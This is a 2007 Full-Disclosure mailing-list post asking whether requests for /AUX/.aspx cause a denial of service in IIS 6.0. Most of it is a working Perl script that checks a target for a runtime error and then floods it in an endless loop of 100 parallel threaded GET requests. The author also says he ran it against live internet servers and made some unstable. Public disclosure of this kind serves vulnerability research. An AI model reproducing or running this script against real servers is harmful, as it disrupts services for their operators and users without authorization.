full-disclosure - Question Regarding IIS 6.0 / Is this a DoS???

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Message-Id: <20070522051007.D34531F7@lists.grok.org.uk>
Date: Tue, 22 May 2007 07:10:08 +0200
From: "kingcope" <kingcope@....net>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Question Regarding IIS 6.0 / Is this a DoS???

Hello List,

Recently I saw a small bug in IIS 6.0 when requesting a special path.
When I request /AUX/.aspx the server takes a bit longer to respond as
Normally. So I did write an automated script to see what happens if
I request this file several times at once. The result is that some servers
On the internet get quite instable, some do not. On some servers after I
Stop the attack I get an exception that the Server is too busy/Unhandled
Exception on the wwwroot (/) path.
Can you/the list confirm that?

Here is a lame testing script for this stuff:

#When sending multiple parallel GET requests to a IIS 6.0 server requesting
#/AUX/.aspx the server gets instable and non responsive. This happens only
#to servers which respond a runtime error (System.Web.HttpException)
#and take two or more seconds to respond to the /AUX/.aspx GET request.
#
#
#signed,
#Kingcope kingcope@....net
##########################################################################
###***********************************************************************
###
###
###
### Lame Internet Information Server 6.0 Denial Of Service (nonpermanent)
### by Kingcope, May/2007
### Better run this from a Linux system
##########################################################################

use IO::Socket;
use threads;

if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];

$|=1;

sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
$host\r\nConnection:close\r\n\r\n";
}

$sock = IO::Socket::INET->new(PeerAddr => $host,
                              PeerPort => 'http(80)',
                              Proto    => 'tcp');

print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
$host\r\nConnection:close\r\n\r\n";

$k=0;
while (<$sock>) {
	if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
			$k=1;
			last;
	}
}

if ($k==0) {
	print "Server does not seem vulnerable to this attack.\n";
	exit;	
}

print "ATTACK!\n";

while(1){

for (my $i=0;$i<=100;$i++) {
	$thr = threads->new(\&sendit);
	print "\r\r\r$i/100                        ";
}

foreach $thr (threads->list) {
	$thr->join;
}
}

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